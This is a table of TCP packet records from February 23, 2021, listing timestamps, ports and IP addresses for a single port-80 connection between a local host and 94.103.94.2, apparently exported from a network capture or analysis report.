Feb 23, 2021 10:04:53.331849098 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331886053 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331895113 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.331926107 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331965923 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331971884 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.332014084 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332032919 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.332057953 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332091093 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.332113981 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332161903 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332180023 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.332204103 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332242966 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332251072 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.332282066 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332319975 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332345009 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.332366943 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332403898 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.332415104 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332453966 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332462072 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.332494020 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332531929 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332551003 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.332581043 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332619905 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332634926 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.332659960 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332705021 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.332741022 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332766056 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.332783937 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332823992 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332875967 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332885027 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.332914114 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332962036 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.332966089 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.333008051 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333034992 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.333048105 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333087921 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333103895 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.333128929 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333167076 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333180904 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.333205938 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333245039 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333280087 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.333292961 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333337069 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333340883 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.333375931 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333441019 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.333446980 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333493948 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333534002 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333539009 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.333574057 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333606005 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.333614111 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333651066 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333655119 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.333704948 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333744049 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333753109 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.333791018 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333833933 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333863974 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.333873034 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333911896 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.333914042 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333955050 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.333956957 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.333992958 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.334032059 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.334054947 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.334070921 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.334151030 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.336431980 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.336479902 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.336519003 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.336559057 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.336596966 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.336611032 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.336625099 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.336673021 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.336700916 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.336719990 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.336760044 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.336777925 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.336844921 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.336910009 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.336958885 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.337004900 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.337047100 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.337090015 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.337095976 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.337114096 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.337131977 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.337172985 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.337188005 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.337215900 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.337264061 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.337332010 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.382559061 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.382587910 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.382605076 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.382785082 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.382906914 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.382916927 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.389305115 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389333010 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389347076 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389363050 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389374971 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389403105 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389415979 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389430046 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389446974 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389467955 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389486074 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389502048 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389503002 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.389518976 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389539003 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389555931 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389569044 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389585972 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389602900 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389621019 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389636993 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389656067 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389667034 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389679909 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389694929 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389694929 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.389722109 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389746904 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389769077 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389790058 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389808893 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389825106 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389842033 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389842987 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.389862061 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389883041 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389899969 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389915943 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389919043 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.389934063 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389942884 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.389950991 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389966965 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.389971972 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.389983892 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390002012 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390013933 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.390022039 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390041113 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390055895 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390073061 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390083075 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.390089989 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390106916 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390120029 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.390127897 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390137911 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.390153885 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390173912 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390175104 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.390192032 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390208960 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390225887 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390229940 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.390243053 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390259981 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390273094 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.390278101 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390295029 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390315056 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390324116 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.390331984 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390348911 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390361071 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.390366077 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390384912 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.390398026 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.390460968 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.392539024 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.393115044 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.431329966 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431365013 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431386948 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431421995 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431447029 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431468010 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431489944 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431512117 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431534052 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431555033 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431586981 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431607008 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431627989 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431648970 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431689024 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431710958 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431730986 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431746960 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431763887 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431777000 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.431783915 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431813002 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431839943 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431859970 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431862116 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.431883097 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431912899 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431919098 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.431946993 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.431950092 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.431977034 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432002068 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.432004929 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432034016 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432060957 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.432064056 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432095051 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432116032 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.432122946 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432154894 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432167053 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.432187080 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432212114 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432225943 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.432231903 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432252884 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432274103 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432277918 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.432297945 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432316065 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.432317972 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432349920 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432358980 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.432379007 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432405949 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432425976 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.432434082 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432462931 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432471991 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.432491064 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432512045 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432529926 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.432534933 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432559013 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432571888 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.432580948 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432610989 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432616949 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.432641983 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432668924 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432696104 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432714939 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.432724953 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432739019 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.432753086 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432813883 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.432816982 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432851076 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432882071 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432907104 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.432923079 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432951927 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432974100 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.432997942 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433027029 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433028936 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.433057070 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433068991 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.433084965 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433115005 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433140993 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.433141947 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433175087 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433185101 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.433204889 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433233023 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433242083 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.433262110 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433290005 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433300972 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.433319092 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433347940 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433357954 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.433377981 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433420897 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.433432102 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433463097 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433491945 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433504105 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.433521032 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433551073 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433559895 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.433579922 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433613062 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433621883 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.433645010 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433674097 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433685064 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.433702946 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433732986 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433751106 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.433763981 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433777094 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.433794022 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433823109 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433834076 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.433856964 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433886051 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433895111 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.433912992 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433944941 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.433949947 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.433973074 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.434001923 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.434016943 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.434030056 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.434057951 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.434068918 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.434088945 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.434117079 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.434125900 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.434146881 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.434190989 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.436356068 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.436898947 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.438798904 CET	80	49774	94.103.94.2	192.168.2.6
